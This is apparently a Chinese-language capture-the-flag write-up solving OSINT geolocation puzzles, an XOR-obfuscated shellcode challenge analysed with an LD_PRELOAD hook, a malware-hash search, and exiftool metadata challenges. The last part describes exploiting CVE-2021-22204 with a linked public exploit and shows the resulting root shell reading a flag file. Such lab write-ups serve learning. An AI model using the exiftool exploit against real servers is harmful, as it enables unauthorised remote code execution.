图片显示的位置是位于弗吉尼亚州费尔法克斯的乔治梅森大学(George Mason University) 的罗杰斯大楼(Rogers Hall)。


使用谷歌地图查看，应该是 Thompson\_Hall 大楼。



## Where's Legally Distinct Waldo Three

学校湖对面的艺术中心：


Center\_for\_the\_Arts\_Concert\_Hall



## Where's Legally Distinct Waldo Four

感觉像是这样，试了 **Skyline Fitness Center** 和 **Southside Dining Hall** 不对，剩三次机会了，没敢往下试，感觉 **The Hub** 也像 ... 地图上看不太清楚短墙在哪。

看颜色和形状像是圈中的这两个大楼，视线应该是箭头指的那样，不太确定 0.0




不对，像这个



感觉没有保持原图的建筑颜色顺序



会不会是下图这个（好像楼层数有问题）



☺

pctf{Krug\_Hall}

## Waldo's Night Out


图一像是 SKY ZONE TRAMPOLINE PARK, 地点有这些

SQL

```
Woodbridge, VA 22192
Manassas, VA 20109
Springfield, VA 22151
Alexandria, VA (Coming Soon)
Dulles, VA 20166 (Dulles Town Center)
Arlington, VA (Coming Soon)
```

Loc 1

<https://www.lemon8-app.com/@decaying.zo/7484643308686410283?region=us>  
21070 Southbank St, Sterling, VA 20165





Loc 2

12021 Sunset Hills Rd #100, Reston, VA 20190






CACI's new headquarters at 12021 Sunset Hills Road in Reston. (Courtesy CACI International)

### Loc 3

8661 Leesburg Pike, Tysons, VA 22182

<https://www.iclsales.com/sale-listing/sheraton-tysons-landing/>





## Mysterious XOR

流量包里面的 shellcode 是 xor g，你可以看见很多东西，比如 libc 什么的，全部提取出来做成 elf，目前看起来像是连接题目 ip 的，会下载文件到 tmp。

先准备 /tmp/<UTC 时间> 文件

```
Bash
ts=$(date -u +%Y%m%dT%H%MZ)
echo ok > /tmp/$ts
```

写个 hook 脚本

```
C++
```

```
hook.c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>

static const char *FORCED_IP = "18.212.136.134";
static const int FORCED_PORT = 2345;

static int (*real_inet_pton)(int,const char*,void*);
static int (*real_connect)(int,const struct sockaddr*,socklen_t);
static uid_t (*real_geteuid)(void);
static ssize_t (*real_send)(int,const void*,size_t,int);
static ssize_t (*real_recv)(int,void*,size_t,int);
static void (*real_io_uring_prep_unlinkat)(void*,int,const
char*,int);

static FILE *log_out(void) {
    static FILE *f = NULL;
    if (!f) f = fopen("/tmp/ctf_outgoing.bin", "ab");
    return f;
}
static FILE *log_in(void) {
    static FILE *f = NULL;
    if (!f) f = fopen("/tmp/ctf_incoming.bin", "ab");
    return f;
}

__attribute__((constructor))
static void init_real(void) {
    real_inet_pton = dlsym(RTLD_NEXT, "inet_pton");
    real_connect = dlsym(RTLD_NEXT, "connect");
    real_geteuid = dlsym(RTLD_NEXT, "geteuid");
    real_send = dlsym(RTLD_NEXT, "send");
    real_recv = dlsym(RTLD_NEXT, "recv");
    real_io_uring_prep_unlinkat = dlsym(RTLD_NEXT,
"io_uring_prep_unlinkat");
}

int inet_pton(int af, const char *src, void *dst) {
```

```
if (af == AF_INET && strcmp(src, "serverIp") == 0)
    return real_inet_pton(af, FORCED_IP, dst);
return real_inet_pton(af, src, dst);
}

int connect(int fd, const struct sockaddr *addr, socklen_t len) {
    if (addr->sa_family == AF_INET) {
        struct sockaddr_in tmp;
        memcpy(&tmp, addr, sizeof(tmp));
        if (ntohs(tmp.sin_port) == 1111)
            tmp.sin_port = htons(FORCED_PORT);
        return real_connect(fd, (struct sockaddr *)&tmp, len);
    }
    return real_connect(fd, addr, len);
}

uid_t geteuid(void) { return 1337; }

/* block self-delete via io_uring */
void io_uring_prep_unlinkat(void *sqe, int dfd, const char *path,
int flags) {
    fprintf(stderr, "[hook] blocked unlinkat on %s\n", path ?
path : "(null)");
    /* do nothing */
}

/* tap send */
ssize_t send(int fd, const void *buf, size_t len, int flags) {
    ssize_t r = real_send(fd, buf, len, flags);
    FILE *f = log_out();
    if (f && r > 0) fwrite(buf, 1, r, f), fflush(f);
    fprintf(stderr, "[hook] send %zd bytes\n", r);
    return r;
}


/* tap recv */
ssize_t recv(int fd, void *buf, size_t len, int flags) {
    ssize_t r = real_recv(fd, buf, len, flags);
    if (r > 0) {
        FILE *f = log_in();
        if (f) fwrite(buf, 1, r, f), fflush(f);
        fprintf(stderr, "[hook] recv %zd bytes\n", r);
    }
    return r;
```

```
}
```

编译: `gcc -shared -fPIC hook.c -o hook.so -ldl`

运行: `LD_PRELOAD=./hook.so ./output.elf`

PCTF{X0r\_N\_Myst3rlOus\_Bin}



A terminal window showing two file contents. The first file, `ctf_outgoing.bin`, contains the string "G^Gtz". The second file, `ctf_incoming.bin`, contains the string "PCTF{X0r\_N\_Myst3rlOus\_Bin}";.

```
(kali㉿kali)-[~/tmp]
└─$ cat ctf_outgoing.bin
G^Gtz

(kali㉿kali)-[~/tmp]
└─$ cat ctf_incoming.bin
PCTF{X0r_N_Myst3rlOus_Bin};
```

**Kittiez!!!!**

开小号换了个提示:

Hint

The malware and kitty pictures are very much connected!

← 帖子



vx-underground ✅  
@vxunderground



Hello,

1. @libraryofcats is scheduled to go live soon-ish. Several million kitty cats are good to go


2. We have 241 malware reverse engineering papers in queue to be pushed to vx-underground prod.

你好

1. @libraryofcats 计划很快上线。数百万只猫咪都准备好了

2. 我们有 241 篇恶意软件逆向工程论文待推送到 vx-underground 生产。

[翻译帖子](#)



上午7:10 · 2025年1月8日 · 1.2万 查看


9

14

201

11





把 3 下载下来，然后 ai 写个 md5 对照脚本

```
Python
import hashlib
import os
import sys

TARGET_MD5 = "9c5ca692da8d6e489beecd5b448ddb35"
SEARCH_DIRECTORY = "/Users/zsm/Downloads/Cats.00003"

def calculate_md5(filepath):
    hash_md5 = hashlib.md5()
    try:
        # 以二进制模式读取文件
        with open(filepath, "rb") as f:
            # 循环读取文件块 (4KB)，直到文件结束
            for chunk in iter(lambda: f.read(4096), b ""):
                hash_md5.update(chunk)
    return hash_md5.hexdigest().lower() # 统一转换为小写
except IOError as e:
    # 打印错误信息并跳过无法访问的文件
    print(f" 无法读取文件 {filepath}: {e}", file=sys.stderr)
    return None

def find_file_by_md5(directory, target_md5):
    """
    在指定目录下查找匹配目标 MD5 值的第一个文件。
    """
    print(f" 目标 MD5 值: {target_md5}")
    print(f" 正在搜索目录: {directory}")
```

```
if not os.path.isdir(directory):
    print(f"X 错误: 目录 '{directory}' 不存在或无法访问。",
file=sys.stderr)
    return None

# 遍历目录, 包括所有子目录
for root, dirs, files in os.walk(directory):
    for filename in files:
        filepath = os.path.join(root, filename)

        # 仅处理普通文件
        if not os.path.isfile(filepath):
            continue

        # 计算 MD5
        current_md5 = calculate_md5(filepath)


        # 如果计算成功且匹配目标 MD5
        if current_md5 and current_md5 == target_md5:

print("\n====")
print("✓ 匹配成功! 找到目标文件!")
print(f"文件路径: {filepath}")
print(f"MD5 值: {current_md5}")

print("====")
return filepath # 找到后立即退出并返回

print("\nX 查找完成, 未在指定目录中找到匹配该 MD5 值的文件。")
return None

# --- 脚本运行入口 ---
if __name__ == "__main__":
    # 执行查找函数
    find_file_by_md5(SEARCH_DIRECTORY, TARGET_MD5)
```



PCTF{SHOUTOUT\_TO\_SILLY\_CATS}

## Reverse Metadata Part 1

题目描述是每隔一分钟会提取上传文件的元数据，tip 里说明了 exiftool，那就去搜 exiftool 有 CVE-2021-22204 exiftool 的 RCE 漏洞，找个 Exp (<https://codeload.github.com/convisolabs/CVE-2021-22204-exiftool/zip/refs/heads/master>) 去构造 jpg，然后上传等待结果

读取 /flags/root.txt

```
root@dfc246ed0c79:/flags# ls
ls
root.txt
root@dfc246ed0c79:/flags# cat *
cat *
MASONCC{images_give_us_bash?}
root@dfc246ed0c79:/flags# ^C
```

```
Bash
pctf{image_give_us_bash?}
```

## Reverse Metadata Part 2

继续上题内容，说是有隐藏了什么，分析 entrypoint.sh，发现是运行隐藏操作的脚

本，通过 `ps` 查看进程 发现了这个隐藏的 flag

```
root      1 0.0 0.0 3984 2840 ?      Ss  01:01  0:00 /bin/bash /entrypoint.sh
root     13 0.0 0.0 3984 2968 ?      S   01:01  0:00 /bin/bash /usr/local/bin/monitor-processes.sh
root     14 0.0 0.0 12136 8080 ?      S   01:01  0:00 python3 -c import time, os FLAG="/tmp/flag.txt" # create flag file f = open(FLAG, "w") f.write("PCTF{hidden_in_depths}\n")
```